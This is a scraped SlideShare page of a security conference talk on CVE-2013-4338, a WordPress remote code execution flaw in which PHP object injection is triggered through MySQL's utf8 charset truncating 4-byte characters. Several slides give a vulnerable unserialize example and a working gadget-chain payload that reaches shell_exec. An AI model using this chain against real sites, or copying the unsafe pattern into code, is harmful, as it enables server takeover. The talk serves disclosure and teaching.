SlideShare a Scribd company logo
1 of 34
Download to read offline
Remote code
execution in
WordPress
By Tom Van Goethem
About me
❖ Tom Van Goethem
❖ PhD Student at
❖ Security Researcher
❖ Blogger — http://vagosec.org
❖ — @tomvangoethem
2
Agenda
❖ WordPress
❖ PHP Object Injection
❖ UTF-8 and MySQL
❖ Vulnerability
❖ Exploit
❖ Demo
3
WordPress
❖ Free and open source web blogging system and CMS
❖ PHP, MySQL
❖ Plugin & template architecture
❖ 60,000,000 websites
❖ aprox. 19% of top 10mil
4
WordPress
❖ 510 vulnerabilities since 2004
❖ Most from plugins
❖ 2013: 16 vulnerabilities
❖ CVE-2013-4338
5
CVE-2013-4338
6
wp-­‐includes/functions.php	
  in	
  WordPress	
  before	
  3.6.1	
  does	
  
not	
  properly	
  determine	
  whether	
  data	
  has	
  been	
  serialized,	
  
which	
  allows	
  remote	
  attackers	
  to	
  execute	
  arbitrary	
  code	
  
by	
  triggering	
  erroneous	
  PHP	
  unserialize	
  operations.
PHP Object Injection
❖ PHP’s unserialize() can instantiate objects
❖ Some “magic methods” are executed on
instantiation/when printed/...
❖ Passing user-input to PHP’s unserialize() may
have disastrous effects
7
PHP Object Injection
8
<?php!
class File {!
! public $file;!
!
! function __construct($file) {!
! ! $this->file = $file;!
! }!
! function __destruct() {!
! ! unlink($this->file);!
! }!
! function __toString() {!
! ! $fh = fopen($this->file, 'r');!
! ! $r = fread($fh, filesize($this->file));!
! ! return $r;!
! }!
! // ...!
}!
?>
PHP Object Injection
9
<?php!
require_once('File.php');!
$in = $_GET['in'];!
$obj = unserialize($in);!
echo '<h1>' . $obj . '<h1>';!
?>
<?php!
require_once('File.php');!
$obj = new File('secret.txt');!
$payload = serialize($obj);!
echo $payload;!
?>
victim.php
attacker.php
PHP Object Injection
10
PHP Object Injection
11
UTF-8
❖ In the beginning... there was ASCII
‣ American Standard Code for Information
Interchange
‣ 7 bits
‣ 127 characters
❖ I 💖 Москва
❖ Support for many other characters needed
12
UTF-8
❖ Then came Unicode
‣ maps more than 100,000 characters to a number
‣ still requires encoding
❖ UTF-8
‣ backwards compatible with ASCII
‣ 1-4 bytes long
‣ supports code points U+0000 to U+10FFFF
!
I 💖 Москва = U+0049 U+0020 U+1F496 U+0020 U+041C U+043E ...

I = 01001001

💖 = 11110000 10011111 10010010 10010110
 13
UFT-8 and MySQL
14
UFT-8 and MySQL
❖ MySQL has utf8 charset
‣ All we need, right?
15
UFT-8 and MySQL
16
CREATE SCHEMA utf8test DEFAULT CHARACTER SET utf8;!
!
CREATE TABLE utf8test.utf8test_table (!
utf8test_column VARCHAR(255) CHARACTER SET 'utf8' NULL)!
DEFAULT CHARACTER SET = utf8;!
!
INSERT INTO utf8test_table (utf8test_column) VALUES ('I love Москва');!
# Query OK, 1 row affected (0.00 sec)!
!
INSERT INTO utf8test_table (utf8test_column) VALUES ('I 💖 Москва');!
# Query OK, 1 row affected, 1 warning (0.00 sec)!
!
SHOW WARNINGS;!
# Incorrect string value: 'xF0x9Fx92x96 xE3...' for column
'utf8test_column' at row 1!
!
SELECT * FROM utf8test.utf8test_table;!
# +--------------------+!
# | utf8test_column |!
# +--------------------+!
# | I love Москва |!
# | I |!
# +--------------------+
UFT-8 and MySQL
❖ From MySQL Reference Manual:
!
❖ MySQL’s utf8 supports U+0000 to U+FFFF
❖ What with U+10000 to U+10FFFF?
‣ MySQL’s behavior: depends on character set
➡ with utf8: drop character and everything that follows
17
UFT-8 and MySQL
18
Vulnerability
❖ WordPress user-meta data can be serialized
❖ user-meta?
‣ first name, last name, contact info, ...
‣ stored in wp_usermeta (default charset utf8)
❖ can be serialized?
‣ normal string → normal string
‣ object → serialize(object)
‣ serialized string → serialize(serialized string)
19
Vulnerability
❖ When stored in DB, content is serialized
‣ only if is_serialized() returns true
❖ When retrieved from DB, content is unserialized
‣ only if is_serialized() returns true
20
21
function is_serialized($data) {!
! // if it isn't a string, it isn't serialized!
! if (!is_string($data)) { return false; }!
! $data = trim($data);!
 ! if ('N;' == $data) { return true; }!
! $length = strlen($data);!
! if ($length < 4) { return false; }!
! if (':' !== $data[1]) { return false; }!
! $lastc = $data[$length-1];!
! if (';' !== $lastc && '}' !== $lastc) { return false; }!
! $token = $data[0];!
! switch ($token) {!
! ! case 's' :!
! ! ! if ('"' !== $data[$length-2]) { return false; }!
! ! case 'a' :!
! ! case 'O' :!
! ! ! return (bool) preg_match("/^{$token}:[0-9]+:/s",
$data);!
! ! case 'b' :!
! ! case 'i' :!
! ! case 'd' :!
! ! ! return (bool) preg_match("/^{$token}:[0-9.E-]+;$/",
$data);!
! }!
! return false;!
}!
Vulnerability
❖ What we need:
‣ when inserted in DB, is_serialized() should return false
‣ when retrieved from DB, is_serialized() should return true
❖ Let’s put one and one together
‣ append 4-byte UTF-8 character to serialized string
‣ is_serialized() returns false:
‣ when stored in DB: last character dropped
‣ when retrieved: is_serialized() returns true
‣ unserialize() is called on arbitrary user-content
22
if (';' !== $lastc && '}' !== $lastc)

return false;
Vulnerability
❖ Before:
!
❖ After:
23
Vulnerability
24
Exploit
❖ Vulnerability: ✓
❖ Needed for a working exploit:
‣ class with “useful” magic method
➡ __destruct(), __toString(), __wakeup()!
‣ is included at right time
❖ Not found in WordPress core...
25
Exploit
❖ ...anything you can imagine... ☺
26
27
Exploit
28
29
class simple_html_dom_node {!
    function __construct($dom) {!
        $this->dom = $dom;!
        $dom->nodes[] = $this;!
    }!
    function __destruct() {!
        $this->clear();!
    }!
    function __toString() {!
        return $this->outertext();!
    }!
    function outertext() {!
        // ...!
        if ($this->dom && $this->dom->callback!==null)
{!
            call_user_func_array($this->dom->callback,
array($this));!
        }!
        // ...!
    }!
    // ...!
}
30
final class WP_Screen {!
    public function render_screen_meta() {!
        // ...!
        foreach ($this->_help_tabs as $tab):!
            if (!empty($tab['callback']))!
                call_user_func_array($tab['callback'],
array($this, $tab));!
        endforeach;!
    }!
    // ...!
}
function wp_generate_tag_cloud($tags, $args = '') {!
    // ...!
    $args = wp_parse_args($args, $defaults);!
    extract($args);!
    // ...!
    foreach ((array) $tags as $key => $tag) {!
        $real_counts[$key] = $tag->count;!
        $counts[$key] = $topic_count_scale_callback($tag->count);!
    }!
    // ...!
}
31
32
class simple_html_dom_node {!
! private $dom;!
! public function __construct() {!
! ! $callback = array(new WP_Screen(), 'render_screen_meta');!
! ! $this->dom = (object) array('callback' => $callback);!
! }!
}!
class WP_Screen {!
! private $_help_tabs;!
! public $action;!
! function __construct() {!
! ! $count = array('count' => 'echo "pwned!" > /tmp/pwned.txt');!
! ! $this->action = (object) $count;!
! ! $this->_help_tabs = array(array(!
! ! ! 'callback' => 'wp_generate_tag_cloud', !
! ! ! 'topic_count_scale_callback' => 'shell_exec'));!
! }!
}!
echo serialize(new simple_html_dom_node()).'💖';
Demo
33
Questions?
http://vagosec.org
— @tomvangoethem

More Related Content

What's hot (20)

SSRF exploit the trust relationship
SSRF exploit the trust relationshipSSRF exploit the trust relationship
SSRF exploit the trust relationship
 
Sql injections - with example
Sql injections - with exampleSql injections - with example
Sql injections - with example
 
Sql injection
Sql injectionSql injection
Sql injection
 
Talking About SSRF,CRLF
Talking About SSRF,CRLFTalking About SSRF,CRLF
Talking About SSRF,CRLF
 
SQL Injection: complete walkthrough (not only) for PHP developers
SQL Injection: complete walkthrough (not only) for PHP developersSQL Injection: complete walkthrough (not only) for PHP developers
SQL Injection: complete walkthrough (not only) for PHP developers
 
Sql injection attack
Sql injection attackSql injection attack
Sql injection attack
 
Sql Injection Myths and Fallacies
Sql Injection Myths and FallaciesSql Injection Myths and Fallacies
Sql Injection Myths and Fallacies
 
SQL Injection
SQL Injection SQL Injection
SQL Injection
 
Building Advanced XSS Vectors
Building Advanced XSS VectorsBuilding Advanced XSS Vectors
Building Advanced XSS Vectors
 
XSS - Do you know EVERYTHING?
XSS - Do you know EVERYTHING?XSS - Do you know EVERYTHING?
XSS - Do you know EVERYTHING?
 
SQL INJECTION
SQL INJECTIONSQL INJECTION
SQL INJECTION
 
OCI Image Spec
OCI Image SpecOCI Image Spec
OCI Image Spec
 
Not so blind SQL Injection
Not so blind SQL InjectionNot so blind SQL Injection
Not so blind SQL Injection
 
JavaScript Event Loop
JavaScript Event LoopJavaScript Event Loop
JavaScript Event Loop
 
XSS
XSSXSS
XSS
 
Hyperledger Indy tutorial
Hyperledger Indy tutorialHyperledger Indy tutorial
Hyperledger Indy tutorial
 
I hunt sys admins 2.0
I hunt sys admins 2.0I hunt sys admins 2.0
I hunt sys admins 2.0
 
Sql injection with sqlmap
Sql injection with sqlmapSql injection with sqlmap
Sql injection with sqlmap
 
Sqlmap
SqlmapSqlmap
Sqlmap
 
Cross site scripting attacks and defenses
Cross site scripting attacks and defensesCross site scripting attacks and defenses
Cross site scripting attacks and defenses
 

Viewers also liked

PHP unserialization vulnerabilities: What are we missing?
PHP unserialization vulnerabilities: What are we missing?PHP unserialization vulnerabilities: What are we missing?
PHP unserialization vulnerabilities: What are we missing?Sam Thomas
 
Character encoding standard(1)
Character encoding standard(1)Character encoding standard(1)
Character encoding standard(1)Pramila Selvaraj
 
Security Meetup 22 октября. «PHP Unserialize Exploiting». Павел Топорков. Лаб...
Security Meetup 22 октября. «PHP Unserialize Exploiting». Павел Топорков. Лаб...Security Meetup 22 октября. «PHP Unserialize Exploiting». Павел Топорков. Лаб...
Security Meetup 22 октября. «PHP Unserialize Exploiting». Павел Топорков. Лаб...Mail.ru Group
 
Character Encoding issue with PHP
Character Encoding issue with PHPCharacter Encoding issue with PHP
Character Encoding issue with PHPRavi Raj
 
PHP 7 performances from PHP 5
PHP 7 performances from PHP 5PHP 7 performances from PHP 5
PHP 7 performances from PHP 5julien pauli
 
Развитие технологий генерации эксплойтов на основе анализа бинарного кода
Развитие технологий генерации эксплойтов на основе анализа бинарного кодаРазвитие технологий генерации эксплойтов на основе анализа бинарного кода
Развитие технологий генерации эксплойтов на основе анализа бинарного кодаPositive Hack Days
 

Viewers also liked (10)

PHP unserialization vulnerabilities: What are we missing?
PHP unserialization vulnerabilities: What are we missing?PHP unserialization vulnerabilities: What are we missing?
PHP unserialization vulnerabilities: What are we missing?
 
PHP Object Injection
PHP Object InjectionPHP Object Injection
PHP Object Injection
 
Character encoding standard(1)
Character encoding standard(1)Character encoding standard(1)
Character encoding standard(1)
 
Security Meetup 22 октября. «PHP Unserialize Exploiting». Павел Топорков. Лаб...
Security Meetup 22 октября. «PHP Unserialize Exploiting». Павел Топорков. Лаб...Security Meetup 22 октября. «PHP Unserialize Exploiting». Павел Топорков. Лаб...
Security Meetup 22 октября. «PHP Unserialize Exploiting». Павел Топорков. Лаб...
 
Character Encoding issue with PHP
Character Encoding issue with PHPCharacter Encoding issue with PHP
Character Encoding issue with PHP
 
PHP 7 performances from PHP 5
PHP 7 performances from PHP 5PHP 7 performances from PHP 5
PHP 7 performances from PHP 5
 
Развитие технологий генерации эксплойтов на основе анализа бинарного кода
Развитие технологий генерации эксплойтов на основе анализа бинарного кодаРазвитие технологий генерации эксплойтов на основе анализа бинарного кода
Развитие технологий генерации эксплойтов на основе анализа бинарного кода
 
PHP
 PHP PHP
PHP
 
PHP7 is coming
PHP7 is comingPHP7 is coming
PHP7 is coming
 
Smart TV Insecurity
Smart TV InsecuritySmart TV Insecurity
Smart TV Insecurity
 

Similar to PHP Object Injection Vulnerability in WordPress: an Analysis

Serializing EMF models with Xtext
Serializing EMF models with XtextSerializing EMF models with Xtext
Serializing EMF models with Xtextmeysholdt
 
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya MorimotoSQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya MorimotoPichaya Morimoto
 
Secure code
Secure codeSecure code
Secure codeddeogun
 
Get into the FLOW with Extbase
Get into the FLOW with ExtbaseGet into the FLOW with Extbase
Get into the FLOW with ExtbaseJochen Rau
 
Lie to Me: Bypassing Modern Web Application Firewalls
Lie to Me: Bypassing Modern Web Application FirewallsLie to Me: Bypassing Modern Web Application Firewalls
Lie to Me: Bypassing Modern Web Application FirewallsIvan Novikov
 
How to test complex SaaS applications - The family july 2014
How to test complex SaaS applications - The family july 2014How to test complex SaaS applications - The family july 2014
How to test complex SaaS applications - The family july 2014Guillaume POTIER
 
Turn your spaghetti code into ravioli with JavaScript modules
Turn your spaghetti code into ravioli with JavaScript modulesTurn your spaghetti code into ravioli with JavaScript modules
Turn your spaghetti code into ravioli with JavaScript modulesjerryorr
 
Php Crash Course - Macq Electronique 2010
Php Crash Course - Macq Electronique 2010Php Crash Course - Macq Electronique 2010
Php Crash Course - Macq Electronique 2010Michelangelo van Dam
 
Introduction to Dart
Introduction to DartIntroduction to Dart
Introduction to DartRamesh Nair
 
Automated code audits
Automated code auditsAutomated code audits
Automated code auditsDamien Seguy
 
Conf soat tests_unitaires_Mockito_jUnit_170113
Conf soat tests_unitaires_Mockito_jUnit_170113Conf soat tests_unitaires_Mockito_jUnit_170113
Conf soat tests_unitaires_Mockito_jUnit_170113SOAT
 
Workshop quality assurance for php projects tek12
Workshop quality assurance for php projects tek12Workshop quality assurance for php projects tek12
Workshop quality assurance for php projects tek12Michelangelo van Dam
 
DEFCON 23 - Lance buttars Nemus - sql injection on lamp
DEFCON 23 - Lance buttars Nemus - sql injection on lampDEFCON 23 - Lance buttars Nemus - sql injection on lamp
DEFCON 23 - Lance buttars Nemus - sql injection on lampFelipe Prado
 
OWASP Top 10 - DrupalCon Amsterdam 2019
OWASP Top 10 - DrupalCon Amsterdam 2019OWASP Top 10 - DrupalCon Amsterdam 2019
OWASP Top 10 - DrupalCon Amsterdam 2019Ayesh Karunaratne
 
PHP and Rich Internet Applications
PHP and Rich Internet ApplicationsPHP and Rich Internet Applications
PHP and Rich Internet Applicationselliando dias
 
[PL] Jak nie zostać "programistą" PHP?
[PL] Jak nie zostać "programistą" PHP?[PL] Jak nie zostać "programistą" PHP?
[PL] Jak nie zostać "programistą" PHP?Radek Benkel
 
Web Security - Hands-on
Web Security - Hands-onWeb Security - Hands-on
Web Security - Hands-onAndrea Valenza
 

Similar to PHP Object Injection Vulnerability in WordPress: an Analysis (20)

Serializing EMF models with Xtext
Serializing EMF models with XtextSerializing EMF models with Xtext
Serializing EMF models with Xtext
 
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya MorimotoSQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
 
Secure code
Secure codeSecure code
Secure code
 
Get into the FLOW with Extbase
Get into the FLOW with ExtbaseGet into the FLOW with Extbase
Get into the FLOW with Extbase
 
Es.next
Es.nextEs.next
Es.next
 
Lie to Me: Bypassing Modern Web Application Firewalls
Lie to Me: Bypassing Modern Web Application FirewallsLie to Me: Bypassing Modern Web Application Firewalls
Lie to Me: Bypassing Modern Web Application Firewalls
 
How to test complex SaaS applications - The family july 2014
How to test complex SaaS applications - The family july 2014How to test complex SaaS applications - The family july 2014
How to test complex SaaS applications - The family july 2014
 
Turn your spaghetti code into ravioli with JavaScript modules
Turn your spaghetti code into ravioli with JavaScript modulesTurn your spaghetti code into ravioli with JavaScript modules
Turn your spaghetti code into ravioli with JavaScript modules
 
Php Crash Course - Macq Electronique 2010
Php Crash Course - Macq Electronique 2010Php Crash Course - Macq Electronique 2010
Php Crash Course - Macq Electronique 2010
 
Introduction to Dart
Introduction to DartIntroduction to Dart
Introduction to Dart
 
Automated code audits
Automated code auditsAutomated code audits
Automated code audits
 
Conf soat tests_unitaires_Mockito_jUnit_170113
Conf soat tests_unitaires_Mockito_jUnit_170113Conf soat tests_unitaires_Mockito_jUnit_170113
Conf soat tests_unitaires_Mockito_jUnit_170113
 
Workshop quality assurance for php projects tek12
Workshop quality assurance for php projects tek12Workshop quality assurance for php projects tek12
Workshop quality assurance for php projects tek12
 
DEFCON 23 - Lance buttars Nemus - sql injection on lamp
DEFCON 23 - Lance buttars Nemus - sql injection on lampDEFCON 23 - Lance buttars Nemus - sql injection on lamp
DEFCON 23 - Lance buttars Nemus - sql injection on lamp
 
OWASP Top 10 - DrupalCon Amsterdam 2019
OWASP Top 10 - DrupalCon Amsterdam 2019OWASP Top 10 - DrupalCon Amsterdam 2019
OWASP Top 10 - DrupalCon Amsterdam 2019
 
null Pune meet - Application Security: Code injection
null Pune meet - Application Security: Code injectionnull Pune meet - Application Security: Code injection
null Pune meet - Application Security: Code injection
 
Php My Sql
Php My SqlPhp My Sql
Php My Sql
 
PHP and Rich Internet Applications
PHP and Rich Internet ApplicationsPHP and Rich Internet Applications
PHP and Rich Internet Applications
 
[PL] Jak nie zostać "programistą" PHP?
[PL] Jak nie zostać "programistą" PHP?[PL] Jak nie zostać "programistą" PHP?
[PL] Jak nie zostać "programistą" PHP?
 
Web Security - Hands-on
Web Security - Hands-onWeb Security - Hands-on
Web Security - Hands-on
 

More from Positive Hack Days

Инструмент ChangelogBuilder для автоматической подготовки Release Notes
Инструмент ChangelogBuilder для автоматической подготовки Release NotesИнструмент ChangelogBuilder для автоматической подготовки Release Notes
Инструмент ChangelogBuilder для автоматической подготовки Release NotesPositive Hack Days
 
Как мы собираем проекты в выделенном окружении в Windows Docker
Как мы собираем проекты в выделенном окружении в Windows DockerКак мы собираем проекты в выделенном окружении в Windows Docker
Как мы собираем проекты в выделенном окружении в Windows DockerPositive Hack Days
 
Типовая сборка и деплой продуктов в Positive Technologies
Типовая сборка и деплой продуктов в Positive TechnologiesТиповая сборка и деплой продуктов в Positive Technologies
Типовая сборка и деплой продуктов в Positive TechnologiesPositive Hack Days
 
Аналитика в проектах: TFS + Qlik
Аналитика в проектах: TFS + QlikАналитика в проектах: TFS + Qlik
Аналитика в проектах: TFS + QlikPositive Hack Days
 
Использование анализатора кода SonarQube
Использование анализатора кода SonarQubeИспользование анализатора кода SonarQube
Использование анализатора кода SonarQubePositive Hack Days
 
Развитие сообщества Open DevOps Community
Развитие сообщества Open DevOps CommunityРазвитие сообщества Open DevOps Community
Развитие сообщества Open DevOps CommunityPositive Hack Days
 
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...Positive Hack Days
 
Автоматизация построения правил для Approof
Автоматизация построения правил для ApproofАвтоматизация построения правил для Approof
Автоматизация построения правил для ApproofPositive Hack Days
 
Мастер-класс «Трущобы Application Security»
Мастер-класс «Трущобы Application Security»Мастер-класс «Трущобы Application Security»
Мастер-класс «Трущобы Application Security»Positive Hack Days
 
Формальные методы защиты приложений
Формальные методы защиты приложенийФормальные методы защиты приложений
Формальные методы защиты приложенийPositive Hack Days
 
Эвристические методы защиты приложений
Эвристические методы защиты приложенийЭвристические методы защиты приложений
Эвристические методы защиты приложенийPositive Hack Days
 
Теоретические основы Application Security
Теоретические основы Application SecurityТеоретические основы Application Security
Теоретические основы Application SecurityPositive Hack Days
 
От экспериментального программирования к промышленному: путь длиной в 10 лет
От экспериментального программирования к промышленному: путь длиной в 10 летОт экспериментального программирования к промышленному: путь длиной в 10 лет
От экспериментального программирования к промышленному: путь длиной в 10 летPositive Hack Days
 
Уязвимое Android-приложение: N проверенных способов наступить на грабли
Уязвимое Android-приложение: N проверенных способов наступить на граблиУязвимое Android-приложение: N проверенных способов наступить на грабли
Уязвимое Android-приложение: N проверенных способов наступить на граблиPositive Hack Days
 
Требования по безопасности в архитектуре ПО
Требования по безопасности в архитектуре ПОТребования по безопасности в архитектуре ПО
Требования по безопасности в архитектуре ПОPositive Hack Days
 
Формальная верификация кода на языке Си
Формальная верификация кода на языке СиФормальная верификация кода на языке Си
Формальная верификация кода на языке СиPositive Hack Days
 
Механизмы предотвращения атак в ASP.NET Core
Механизмы предотвращения атак в ASP.NET CoreМеханизмы предотвращения атак в ASP.NET Core
Механизмы предотвращения атак в ASP.NET CorePositive Hack Days
 
SOC для КИИ: израильский опыт
SOC для КИИ: израильский опытSOC для КИИ: израильский опыт
SOC для КИИ: израильский опытPositive Hack Days
 
Honeywell Industrial Cyber Security Lab & Services Center
Honeywell Industrial Cyber Security Lab & Services CenterHoneywell Industrial Cyber Security Lab & Services Center
Honeywell Industrial Cyber Security Lab & Services CenterPositive Hack Days
 
Credential stuffing и брутфорс-атаки
Credential stuffing и брутфорс-атакиCredential stuffing и брутфорс-атаки
Credential stuffing и брутфорс-атакиPositive Hack Days
 

More from Positive Hack Days (20)

Инструмент ChangelogBuilder для автоматической подготовки Release Notes
Инструмент ChangelogBuilder для автоматической подготовки Release NotesИнструмент ChangelogBuilder для автоматической подготовки Release Notes
Инструмент ChangelogBuilder для автоматической подготовки Release Notes
 
Как мы собираем проекты в выделенном окружении в Windows Docker
Как мы собираем проекты в выделенном окружении в Windows DockerКак мы собираем проекты в выделенном окружении в Windows Docker
Как мы собираем проекты в выделенном окружении в Windows Docker
 
Типовая сборка и деплой продуктов в Positive Technologies
Типовая сборка и деплой продуктов в Positive TechnologiesТиповая сборка и деплой продуктов в Positive Technologies
Типовая сборка и деплой продуктов в Positive Technologies
 
Аналитика в проектах: TFS + Qlik
Аналитика в проектах: TFS + QlikАналитика в проектах: TFS + Qlik
Аналитика в проектах: TFS + Qlik
 
Использование анализатора кода SonarQube
Использование анализатора кода SonarQubeИспользование анализатора кода SonarQube
Использование анализатора кода SonarQube
 
Развитие сообщества Open DevOps Community
Развитие сообщества Open DevOps CommunityРазвитие сообщества Open DevOps Community
Развитие сообщества Open DevOps Community
 
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
 
Автоматизация построения правил для Approof
Автоматизация построения правил для ApproofАвтоматизация построения правил для Approof
Автоматизация построения правил для Approof
 
Мастер-класс «Трущобы Application Security»
Мастер-класс «Трущобы Application Security»Мастер-класс «Трущобы Application Security»
Мастер-класс «Трущобы Application Security»
 
Формальные методы защиты приложений
Формальные методы защиты приложенийФормальные методы защиты приложений
Формальные методы защиты приложений
 
Эвристические методы защиты приложений
Эвристические методы защиты приложенийЭвристические методы защиты приложений
Эвристические методы защиты приложений
 
Теоретические основы Application Security
Теоретические основы Application SecurityТеоретические основы Application Security
Теоретические основы Application Security
 
От экспериментального программирования к промышленному: путь длиной в 10 лет
От экспериментального программирования к промышленному: путь длиной в 10 летОт экспериментального программирования к промышленному: путь длиной в 10 лет
От экспериментального программирования к промышленному: путь длиной в 10 лет
 
Уязвимое Android-приложение: N проверенных способов наступить на грабли
Уязвимое Android-приложение: N проверенных способов наступить на граблиУязвимое Android-приложение: N проверенных способов наступить на грабли
Уязвимое Android-приложение: N проверенных способов наступить на грабли
 
Требования по безопасности в архитектуре ПО
Требования по безопасности в архитектуре ПОТребования по безопасности в архитектуре ПО
Требования по безопасности в архитектуре ПО
 
Формальная верификация кода на языке Си
Формальная верификация кода на языке СиФормальная верификация кода на языке Си
Формальная верификация кода на языке Си
 
Механизмы предотвращения атак в ASP.NET Core
Механизмы предотвращения атак в ASP.NET CoreМеханизмы предотвращения атак в ASP.NET Core
Механизмы предотвращения атак в ASP.NET Core
 
SOC для КИИ: израильский опыт
SOC для КИИ: израильский опытSOC для КИИ: израильский опыт
SOC для КИИ: израильский опыт
 
Honeywell Industrial Cyber Security Lab & Services Center
Honeywell Industrial Cyber Security Lab & Services CenterHoneywell Industrial Cyber Security Lab & Services Center
Honeywell Industrial Cyber Security Lab & Services Center
 
Credential stuffing и брутфорс-атаки
Credential stuffing и брутфорс-атакиCredential stuffing и брутфорс-атаки
Credential stuffing и брутфорс-атаки
 

Recently uploaded

Unblocking The Main Thread Solving ANRs and Frozen Frames
Unblocking The Main Thread Solving ANRs and Frozen FramesUnblocking The Main Thread Solving ANRs and Frozen Frames
Unblocking The Main Thread Solving ANRs and Frozen FramesSinan KOZAK
 
Unlocking the Potential of the Cloud for IBM Power Systems
Unlocking the Potential of the Cloud for IBM Power SystemsUnlocking the Potential of the Cloud for IBM Power Systems
Unlocking the Potential of the Cloud for IBM Power SystemsPrecisely
 
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks..."LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...Fwdays
 
Scanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL CertsScanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL CertsRizwan Syed
 
Swan(sea) Song – personal research during my six years at Swansea ... and bey...
Swan(sea) Song – personal research during my six years at Swansea ... and bey...Swan(sea) Song – personal research during my six years at Swansea ... and bey...
Swan(sea) Song – personal research during my six years at Swansea ... and bey...Alan Dix
 
Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024Enterprise Knowledge
 
Science&tech:THE INFORMATION AGE STS.pdf
Science&tech:THE INFORMATION AGE STS.pdfScience&tech:THE INFORMATION AGE STS.pdf
Science&tech:THE INFORMATION AGE STS.pdfjimielynbastida
 
Artificial intelligence in the post-deep learning era
Artificial intelligence in the post-deep learning eraArtificial intelligence in the post-deep learning era
Artificial intelligence in the post-deep learning eraDeakin University
 
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...Integration and Automation in Practice: CI/CD in Mule Integration and Automat...
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...Patryk Bandurski
 
costume and set research powerpoint presentation
costume and set research powerpoint presentationcostume and set research powerpoint presentation
costume and set research powerpoint presentationphoebematthew05
 
Enhancing Worker Digital Experience: A Hands-on Workshop for Partners
Enhancing Worker Digital Experience: A Hands-on Workshop for PartnersEnhancing Worker Digital Experience: A Hands-on Workshop for Partners
Enhancing Worker Digital Experience: A Hands-on Workshop for PartnersThousandEyes
 
My INSURER PTE LTD - Insurtech Innovation Award 2024
My INSURER PTE LTD - Insurtech Innovation Award 2024My INSURER PTE LTD - Insurtech Innovation Award 2024
My INSURER PTE LTD - Insurtech Innovation Award 2024The Digital Insurer
 
Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024Scott Keck-Warren
 
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmatics
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmaticsKotlin Multiplatform & Compose Multiplatform - Starter kit for pragmatics
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmaticsAndrey Dotsenko
 
Key Features Of Token Development (1).pptx
Key  Features Of Token  Development (1).pptxKey  Features Of Token  Development (1).pptx
Key Features Of Token Development (1).pptxLBM Solutions
 
AI as an Interface for Commercial Buildings
AI as an Interface for Commercial BuildingsAI as an Interface for Commercial Buildings
AI as an Interface for Commercial BuildingsMemoori
 
SQL Database Design For Developers at php[tek] 2024
SQL Database Design For Developers at php[tek] 2024SQL Database Design For Developers at php[tek] 2024
SQL Database Design For Developers at php[tek] 2024Scott Keck-Warren
 
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmatics
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmaticsKotlin Multiplatform & Compose Multiplatform - Starter kit for pragmatics
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmaticscarlostorres15106
 

Recently uploaded (20)

Unblocking The Main Thread Solving ANRs and Frozen Frames
Unblocking The Main Thread Solving ANRs and Frozen FramesUnblocking The Main Thread Solving ANRs and Frozen Frames
Unblocking The Main Thread Solving ANRs and Frozen Frames
 
Unlocking the Potential of the Cloud for IBM Power Systems
Unlocking the Potential of the Cloud for IBM Power SystemsUnlocking the Potential of the Cloud for IBM Power Systems
Unlocking the Potential of the Cloud for IBM Power Systems
 
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks..."LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
 
Scanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL CertsScanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL Certs
 
Swan(sea) Song – personal research during my six years at Swansea ... and bey...
Swan(sea) Song – personal research during my six years at Swansea ... and bey...Swan(sea) Song – personal research during my six years at Swansea ... and bey...
Swan(sea) Song – personal research during my six years at Swansea ... and bey...
 
Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024
 
E-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptx
E-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptxE-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptx
E-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptx
 
Science&tech:THE INFORMATION AGE STS.pdf
Science&tech:THE INFORMATION AGE STS.pdfScience&tech:THE INFORMATION AGE STS.pdf
